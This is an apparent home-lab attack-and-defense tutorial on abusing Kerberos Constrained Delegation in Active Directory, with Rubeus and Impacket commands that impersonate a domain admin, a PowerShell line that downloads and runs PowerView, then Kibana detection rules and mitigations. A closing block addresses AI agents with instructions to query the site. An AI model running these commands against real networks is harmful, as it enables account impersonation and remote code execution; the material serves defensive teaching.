# Kerberos Constrained Delegation

Kerberos Delegation lets an application act on behalf of a user to access resources on another server. For example, instead of giving the web server's service account direct access to a database, we can allow it to delegate the user’s credentials to the SQL Server. When a user logs into the website, the web server requests access to the SQL Server using the user’s identity. This way, the user gets access to the data they’re allowed to see, without needing to give the web server’s service account any special permissions.

Imagine you have a domain (like `lab.local`) with a boss account (`labadmin`) and a worker account (`svc_web`). Normally, **svc\_web** can’t do boss-level stuff, like accessing a secret folder on the boss’s computer (DC01). But, someone set up a rule saying, "**svc\_web** can pretend to be anyone to access certain things, like that folder," because of something called **Kerberos Constrained Delegation**. It’s like giving **svc\_web** a special VIP pass to act as someone else.

An attacker who steals **svc\_web**’s password can use that VIP pass to trick the system into thinking they’re **labadmin**. Then, they can access that secret folder, even though they’re not the real boss!

***

## How the Attack Works

1. **Steal the Worker’s Password**: The attacker gets **svc\_web**’s password (SecurePass123!).
2. **Ask for a Fake ID**: Using a tool (like Rubeus on Windows or Impacket on Kali), they say, "Give me a Kerberos ticket for user **labadmin** because I am trusted to delegate this user to that secret folder”
3. **Get Access**: The system trusts **svc\_web**’s VIP pass, gives them a ticket to act as **labadmin**, and lets them into the secret folder.

## Lab Setup <a href="#lab-setup" id="lab-setup"></a>

Before we begin, ensure your home lab meets these requirements:

1. Domain Controller (DC): A Windows Server configured as an AD domain controller.
2. Client Machine: A Windows client joined to the domain.
3. Kali Linux Machine.
4. Ubuntu Machine (Elasticsearch & Kibana)

### Scenario Goal

We’ll showcase how an attacker who compromises the **svc\_web** account can abuse KCD to impersonate **labadmin** and access DC01 via PowerShell Remoting (HTTP service). We’ll also demonstrate protocol transition to access an unconfigured service (e.g., CIFS).

### Accounts & Permissions

* Create the Service Account (`svc_web`): This account will be trusted for delegation.

```powershell
New-ADUser -Name "svc_web" -SamAccountName "svc_web" -UserPrincipalName "svc_web@Main.local" `
    -AccountPassword (ConvertTo-SecureString "SecurePass123!" -AsPlainText -Force) `
    -Enabled $true -PasswordNeverExpires $true
```

<figure><img src="/files/fj68WPu4RdqVDDzODsA4" alt=""><figcaption></figcaption></figure>

We need to register an SPN for the `svc_web` account:

```powershell
Set-ADUser -Identity "svc_web" -Add @{ServicePrincipalName="svcweb/Main.local"}
```

The SPN allows the `svc_web` account to represent the HTTP service on the domain controller.

```powershell
Set-ADAccountControl -Identity svc_web -TrustedToAuthForDelegation $true
```

This PowerShell command modifies the userAccountControl attribute of the svc\_web account in Active Directory to enable a specific Kerberos delegation setting.

* Create the Admin Account (`labadmin`)  : This is the privileged account the attacker will impersonate.

```powershell
New-ADUser -Name "labadmin" -SamAccountName "labadmin" -UserPrincipalName "labadmin@Main.local" `
    -AccountPassword (ConvertTo-SecureString "AdminPass456!" -AsPlainText -Force) `
    -Enabled $true -PasswordNeverExpires $true
    
Add-ADGroupMember -Identity "Domain Admins" -Members "labadmin"
```

<figure><img src="/files/FYsLTL9LrxwLbSi3xzAV" alt=""><figcaption></figcaption></figure>

Next, we need to configure Kerberos Constrained Delegation for **svc\_web.**

```powershell
Set-ADUser -Identity "svc_web" -Add @{"msDS-AllowedToDelegateTo" = @("http/WIN-1EIBKDJTJMK.Main.local/Main.local", "http/WIN-1EIBKDJTJMK.Main.local", "http/WIN-1EIBKDJTJMK")}
```

<figure><img src="/files/N9t53y9jbQexqpOgjsYv" alt=""><figcaption></figcaption></figure>

This sets **svc\_web** to be trusted for constrained delegation to the HTTP service on DC01. The **msDS-AllowedToDelegateTo** attribute lists services **svc\_web** can delegate to.

We need also to enable PowerShell Remoting on DC01.

```powershell
Enable-PSRemoting -Force
```

### Enable Audit Policies

* **Enable "Audit Kerberos Authentication Service"**

```
Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policy Configuration > Audit Policies > Account Logon
```

<figure><img src="/files/QpQ8czVC9BKD3odgiGp2" alt=""><figcaption></figcaption></figure>

* **Enable "Audit Kerberos Service Ticket Operations"**

```
Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policy Configuration > Audit Policies > Account Logon
```

<figure><img src="/files/YM0JilCuCfhPH1pnV9kX" alt=""><figcaption></figcaption></figure>

* **Enable "Audit Logon"**

<figure><img src="/files/hHgtGat6DeHKbcsJp8kc" alt=""><figcaption></figcaption></figure>

* Enable "Account Management"

<figure><img src="/files/dT9PcrQTYhVYj4LSJADu" alt=""><figcaption></figcaption></figure>

```
gpupdate /force
```

To set up Elasticsearch and Kibana on an Ubuntu machine, refer to the following guide: [Configure Elasticsearch and Kibana on Ubuntu](https://faresbltagy.gitbook.io/footprintinglabs/build-elk-lab/configure-elasticsearch-and-kibana-setup-in-ubuntu).

Also we need to download and install Winlogbeat on the Domain Controller to forward logs to our ELK stack. For detailed setup instructions, refer to: [Winlogbeat Configuration Guide](https://faresbltagy.gitbook.io/footprintinglabs/build-elk-lab/set-up-winlogbeat-and-filebeat-for-log-collection).

### The Attack - Kerberos Constrained Delegation <a href="#the-attack-golden-ticket-creation-and-usage" id="the-attack-golden-ticket-creation-and-usage"></a>

To start, we will utilize the `Get-NetUser` function from PowerView to enumerate domain user accounts that are configured for constrained delegation.

```powershell
IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Recon/PowerView.ps1")
Get-NetUser -TrustedToAuth
```

<figure><img src="/files/JPvJKwI8MQE1ejHuiabu" alt=""><figcaption></figcaption></figure>

The user account **svc\_web** is configured to delegate the **HTTP** service to the Domain Controller **WIN-1EIBKDJTJMK**. Since the HTTP service enables **PowerShell Remoting**, a threat actor who compromises the **svc\_web** account could request Kerberos tickets on behalf of any Active Directory user and leverage them to establish a PowerShell Remoting session with **WIN-1EIBKDJTJMK**.

Before requesting a ticket using **Rubeus** which requires an NTLM hash (not a plaintext password) for the `/rc4` argument, we must first convert the plaintext password **SecurePass123!** into its corresponding NTLM hash.

```powershell
.\Rubeus.exe hash /password:SecurePass123!
```

<figure><img src="/files/Aqt8cF8H8FgC0xvXIlBn" alt=""><figcaption></figcaption></figure>

Then, let's use `Rubeus` to get a ticket for the `labadmin` account:

```powershell
.\Rubeus.exe s4u /user:svc_web /rc4:67932DB8B001769574DEE0DDBB62D750 /domain:Main.local /impersonateuser:labadmin /msdsspn:"http/WIN-1EIBKDJTJMK.Main.local" /dc:WIN-1EIBKDJTJMK.Main.local /ptt
```

<figure><img src="/files/Ted7xWj2t5njz47w8HXl" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/N4PeYMw4MRqzgm9bOjUd" alt=""><figcaption></figcaption></figure>

Command Breakdown:

* **/user:svc\_web**: Specifies the compromised account.
* **/rc4:\<hash>**: Uses the NTLM hash of svc\_web’s password.
* **/domain:Main.local**: Targets the lab.local domain.
* **/impersonateuser:labadmin**: Requests a ticket as labadmin.
* **/msdsspn:"http/WIN-1EIBKDJTJMK.Main.local"**: Targets the HTTP service on **WIN-1EIBKDJTJMK**, which svc\_web is trusted to delegate to.
* **/dc:WIN-1EIBKDJTJMK.Main.local**: Specifies the KDC (Key Distribution Center).
* **/ptt**: Injects the ticket into the current session.

To verify that Rubeus has injected the ticket into the current session, we can utilize the `klist` command.

```powershell
klist.exe
```

<figure><img src="/files/Rv1NLWaSQg5e6pZjDNef" alt=""><figcaption></figcaption></figure>

Once the ticket is available, we can authenticate to the Domain Controller by impersonating the `labadmin` account.

```powershell
Enter-PSSession -ComputerName WIN-1EIBKDJTJMK.Main.local -Authentication Kerberos
```

<figure><img src="/files/rwt37mKZdRHTeWCLql6L" alt=""><figcaption></figcaption></figure>

Let's attempt the attack again, this time initiating it from the Kali machine.

Since we’re performing a Kerberos attack, Kali needs to be configured to communicate with the **Main.local** domain’s KDC (Key Distribution Center), which is **WIN-1EIBKDJTJMK.Main.local**.

```bash
sudo nano /etc/krb5.conf
```

```ini
[libdefaults]
    default_realm = MAIN.LOCAL
    ticket_lifetime = 24h
    renew_lifetime = 7d
    forwardable = true
    rdns = false
    default_ccache_name = FILE:/tmp/krb5cc_%{uid}

[realms]
    MAIN.LOCAL = {
        kdc = WIN-1EIBKDJTJMK.Main.local
        admin_server = WIN-1EIBKDJTJMK.Main.local
    }

[domain_realm]
    .main.local = MAIN.LOCAL
    main.local = MAIN.LOCAL
```

<figure><img src="/files/ks9m6sHdZQKHappIufcW" alt=""><figcaption></figcaption></figure>

Impacket’s **getST.py** script can perform the S4U2Self and S4U2Proxy operations to obtain a service ticket for labadmin to http/WIN-1EIBKDJTJMK.Main.local.

```bash
./getST.py -dc-ip 192.168.204.143 -spn http/WIN-1EIBKDJTJMK.Main.local -impersonate labadmin Main.local/svc_web -hashes :67932DB8B001769574DEE0DDBB62D750
```

<figure><img src="/files/EBH2TDbWEAQbZVC43Hgz" alt=""><figcaption></figcaption></figure>

* **S4U2Self**: svc\_web requests a ticket to itself on behalf of labadmin.
* **S4U2Proxy**: svc\_web requests a ticket for labadmin to http/WIN-1EIBKDJTJMK.Main.local

We need to verify the ticket:

```bash
export KRB5CCNAME=$PWD/labadmin@http_WIN-1EIBKDJTJMK.Main.local@MAIN.LOCAL.ccache
klist
```

<figure><img src="/files/foPqMW0AQfvKug7G220c" alt=""><figcaption></figcaption></figure>

Let's use Impacket’s **wmiexec.py** to execute commands on WIN-1EIBKDJTJMK.Main.local as labadmin.

```bash
./wmiexec.py -k -no-pass -dc-ip 192.168.204.143 Main.local/labadmin@WIN-1EIBKDJTJMK.Main.local
```

<figure><img src="/files/nnCbu1BHuX4pcurUXQMj" alt=""><figcaption></figcaption></figure>

## Defense Strategy

Correlating user behavior is one of the most effective techniques for detecting constrained delegation abuse. By understanding a user's typical login patterns such as time and location, it's possible to identify and alert on deviations that may indicate suspicious activity. For instance, in the attack scenario mentioned above, any authentication attempts by the '**labadmin**' account outside of expected parameters should raise concern. In mature environments that employ Privileged Access Workstations (PAWs), any privileged user logging in from unauthorized systems should trigger alerts. Proactive monitoring of Event ID 4624 (successful logon) is essential for identifying such anomalies.

On certain occasions, a successful logon using a delegated ticket may include information about the ticket's issuer in the "Transited Services" attribute within the event logs. This attribute is typically populated when the logon is the result of an S4U (Service for User) authentication process.

<figure><img src="/files/dStBT5DYur5ytmPvk70o" alt=""><figcaption></figcaption></figure>

```splunk-spl
event.code: 4624 and winlog.event_data.TransmittedServices: *svc_web@MAIN.LOCAL*
```

<figure><img src="/files/JG6jfblpD3dQEkVfJEcE" alt=""><figcaption></figcaption></figure>

It was observed that the account **labadmin** logged in from the IP address 192.168.204.152, which belongs to a Kali machine. Based on this behavior, we can create a detection rule to trigger an alert whenever domain administrator accounts log in from any system other than the designated Windows Server.&#x20;

```splunk-spl
event.code: 4624 and winlog.event_data.TransmittedServices: *svc_web@MAIN.LOCAL* 
and not source.ip: ("127.0.0.1" OR "192.168.204.143" OR "::1" OR "fe80::6088:8a1d:771b:9d08%6") 
and related.user: ("Administrator" OR "labadmin" )
```

This rule detects potential Kerberos Constrained Delegation (KCD) abuse by monitoring successful logon events (Event ID 4624) involving delegated tickets issued by '<svc_web@MAIN.LOCAL>'. It triggers an alert when privileged users ('Administrator' or 'labadmin') log in from unexpected IP addresses, excluding known trusted sources (127.0.0.1, 192.168.204.143, ::1, fe80::6088:8a1d:771b:9d08%6). Such logons may indicate unauthorized access or privilege escalation, especially in environments using Privileged Access Workstations (PAWs), where privileged users are expected to log in only from authorized systems. The presence of '<svc_web@MAIN.LOCAL>' in the Transmitted Services attribute suggests the logon resulted from an S4U authentication process, a common technique in KCD attacks.

<figure><img src="/files/HAWoO0htnROW9npoVX6K" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/m6Xv6Kz72V4tJDSkizoC" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/xV9pH5ygGgPTEprr29uP" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/GGkR3ZTfeDGI5lyTWimB" alt=""><figcaption></figcaption></figure>

This means:

* At each execution (every 1 minute), the rule analyzes data collected over the last 5 minutes (the look-back time).
* For example, if the rule runs at 5:21 PM, it will check data from 5:16 PM to 5:21 PM. Then, at 5:22 PM, it will check data from 5:17 PM to 5:22 PM, and so forth.

<figure><img src="/files/fnVlS9M70BMvHy7iqblt" alt=""><figcaption></figcaption></figure>

Let's save the rule, reattempt the attack from the Kali machine, and then review the alerts to verify whether the rule was triggered.

<figure><img src="/files/de3dTAqXm2LQw5rPROg0" alt=""><figcaption></figcaption></figure>

These rules are not the final production-ready versions. When deploying them in real-world environments, they need to be continuously tuned to minimize false positives as much as possible.

## Other Mitigations to Prevent KCD Abuse

Microsoft built several safeguards into Kerberos Delegation, but these are not enabled by default for any user accounts. To prevent delegation tickets from being issued, you can either:

* Enable the **"Account is sensitive and cannot be delegated"** setting for all privileged users.
* Add privileged users to the **Protected Users** group, which enforces this setting automatically (note: understand the implications before using this group).

Any account configured for delegation should be treated as highly privileged, even if it's only a Domain User. Strong, cryptographically secure passwords are essential to prevent Kerberoasting attacks that could expose delegation-capable accounts.

### Mark Sensitive Accounts as "Cannot be Delegated"

Let's enable protection features for privileged accounts, such as **labadmin**, by setting the **"Account is sensitive and cannot be delegated"** property to enhance security and prevent unauthorized delegation.

```powershell
Set-ADUser -Identity labadmin -AccountNotDelegated $true
#OR
Add-ADGroupMember -Identity "Protected Users" -Members labadmin
```

<figure><img src="/files/cyh7Qm3rkOm0pMg7rVAY" alt=""><figcaption></figcaption></figure>

Let’s attempt the attack once more to determine if it is now feasible.

<figure><img src="/files/nn9reItTl5GQVHMBAO0G" alt=""><figcaption></figcaption></figure>

### Use Resource-Based Constrained Delegation (RBCD)

We can also use Resource-Based Constrained Delegation (RBCD), which transfers control over delegation permissions from the delegating account to the target resource’s computer account. This allows resource owners (e.g., SQL Server, Exchange, or IIS administrators) to manage which external accounts can delegate to their services, minimizing the risk of excessive delegation rights.

This limits the scope of delegation, ensuring that service accounts can only delegate to the required services, thereby reducing the attack surface.

* Identify Resources Requiring Delegation

Determine which resources (computers or services) in your environment require delegation from **svc\_web**. In our case, WIN-1EIBKDJTJMK.Main.local (the domain controller) was targeted, but delegation to domain controllers should be minimized unless absolutely necessary.

Let's review the current delegation settings for svc\_web:

```powershell
Get-ADUser -Identity svc_web -Properties msDS-AllowedToDelegateTo | Select-Object Name, msDS-AllowedToDelegateTo
```

<figure><img src="/files/5zRId1m7cPvgoE8rQLlf" alt=""><figcaption></figcaption></figure>

Evaluate whether **svc\_web** requires delegation to **WIN-1EIBKDJTJMK.Main.local**. Generally, delegation for domain controllers is not needed unless specific services, such as a web application accessing domain controller resources, necessitate it.

Minimizing delegation to critical systems like domain controllers reduces the attack surface. In our attack, svc\_web’s ability to delegate to http/WIN-1EIBKDJTJMK.Main.local allowed the impersonation of **labadmin**. If this delegation isn’t required, it should be removed.

* Configure RBCD on the Target Resource

Let's use RBCD to configure WIN-1EIBKDJTJMK.Main.local to allow delegation only from specific accounts, such as svc\_web, if necessary.

```powershell
Set-ADComputer -Identity WIN-1EIBKDJTJMK -PrincipalsAllowedToDelegateToAccount svc_web
```

Explanation:

* **Set-ADComputer**: Modifies the computer object WIN-1EIBKDJTJMK in Active Directory.
* **-Identity WIN-1EIBKDJTJMK**: Specifies the target computer (the domain controller).
* **-PrincipalsAllowedToDelegateToAccount svc\_web**: Adds svc\_web to the **PrincipalsAllowedToDelegateToAccount** attribute, allowing it to delegate credentials when accessing services on WIN-1EIBKDJTJMK.Main.local.

RBCD shifts control to the resource, ensuring that only explicitly allowed accounts can delegate. This prevents unauthorized delegation, unlike ABCD, where svc\_web’s settings allowed it to delegate to the domain controller, enabling your attack.

* Remove ABCD Settings from the Service Account

We need to clear the account-based delegation settings from svc\_web to ensure delegation is only managed via RBCD.

```powershell
Set-ADUser -Identity svc_web -Clear msDS-AllowedToDelegateTo
```

<figure><img src="/files/XEU9WzxC6r5aERwTQZbW" alt=""><figcaption></figcaption></figure>

Explanation:

* **Set-ADUser**: Modifies the user object svc\_web in Active Directory.
* **-Identity svc\_web**: Specifies the service account.
* **-Clear msDS-AllowedToDelegateTo**: Removes all entries from the **msDS-AllowedToDelegateTo** attribute, effectively disabling ABCD for svc\_web.

Removing ABCD settings ensures that delegation is only controlled via RBCD, eliminating the risk of svc\_web being used to delegate to unauthorized services. In our attack, svc\_web’s ABCD settings allowed delegation to http/WIN-1EIBKDJTJMK.Main.local, which was exploited to impersonate labadmin.

* Verify RBCD Configuration

Let's confirm that RBCD is correctly configured and that ABCD settings have been removed.

```powershell
Get-ADComputer -Identity WIN-1EIBKDJTJMK -Properties PrincipalsAllowedToDelegateToAccount | Select-Object Name, PrincipalsAllowedToDelegateToAccount
```

<figure><img src="/files/BhPsR90qDIMvkmquVnKE" alt=""><figcaption></figcaption></figure>

Verification ensures that the transition to RBCD is complete and that no residual ABCD settings remain, which could be exploited. This step confirms that delegation is now controlled at the resource level, aligning with security best practices.

* Test Delegation Functionality

We will test whether svc\_web can still delegate credentials to WIN-1EIBKDJTJMK.Main.local, ensuring that unauthorized accounts are unable to do so. However, we will attempt delegation using an account other than ladadmin, as it is now part of the Protected Users group.

```bash
./getST.py -dc-ip 192.168.204.143 -spn http/WIN-1EIBKDJTJMK.Main.local -impersonate jdoe Main.local/svc_web -hashes :67932DB8B001769574DEE0DDBB62D750
```

<figure><img src="/files/wMbESQb2PwSMjT9dVEe9" alt=""><figcaption></figcaption></figure>

Since **svc\_web** is listed in the **PrincipalsAllowedToDelegateToAccount** attribute, the ticket request was successful, resulting in the issuance of a service ticket for **jdoe** to **http/WIN-1EIBKDJTJMK.Main.local**.

If a different service account (e.g., **svc\_test**) is used and it is not listed in the **PrincipalsAllowedToDelegateToAccount** attribute, the request is expected to fail with a Kerberos error (e.g., KDC\_ERR\_BADOPTION), indicating that **svc\_test** is not permitted to delegate to **WIN-1EIBKDJTJMK.Main.local.**

```powershell
New-ADUser -Name "svc_test" -SamAccountName "svc_test" -UserPrincipalName "svc_test@Main.local" -AccountPassword (ConvertTo-SecureString "P@ssw0rd123!" -AsPlainText -Force) -Enabled $true -PasswordNeverExpires $true
Set-ADUser -Identity "svc_test" -Add @{ServicePrincipalName="svctest/Main.local"}
Get-ADUser -Identity svc_test -Properties ServicePrincipalNames | Select-Object Name, ServicePrincipalNames
```

<figure><img src="/files/PmU46aVV8A4uzv2jYleR" alt=""><figcaption></figcaption></figure>

This creates a service account similar to svc\_web, which we can use to test delegation behavior.

Let's ensure **svc\_test** doesn't has account-based constrained delegation (ABCD) settings, as we’re relying solely on RBCD:

```powershell
Get-ADUser -Identity svc_test -Properties msDS-AllowedToDelegateTo | Select-Object Name, msDS-AllowedToDelegateTo
```

<figure><img src="/files/TWLICUV3T1ElKWVCQhaE" alt=""><figcaption></figcaption></figure>

Let's proceed with testing using the **svc\_test** account.

```bash
./getST.py -dc-ip 192.168.204.143 -spn http/WIN-1EIBKDJTJMK.Main.local -impersonate jdoe Main.local/svc_test -hashes :67932DB8B001769574DEE0DDBB62D750
```

<figure><img src="/files/N9l9wbgUEakL4gFJU6qV" alt=""><figcaption></figcaption></figure>

Testing ensures that RBCD is functioning as intended for legitimate use cases while preventing unauthorized delegation. In our attack, svc\_web’s ABCD settings allowed delegation to the domain controller, which RBCD can prevent unless explicitly permitted.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://faresbltagy.gitbook.io/footprintinglabs/home-lab-attack-and-defense-scenarios/kerberos-constrained-delegation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
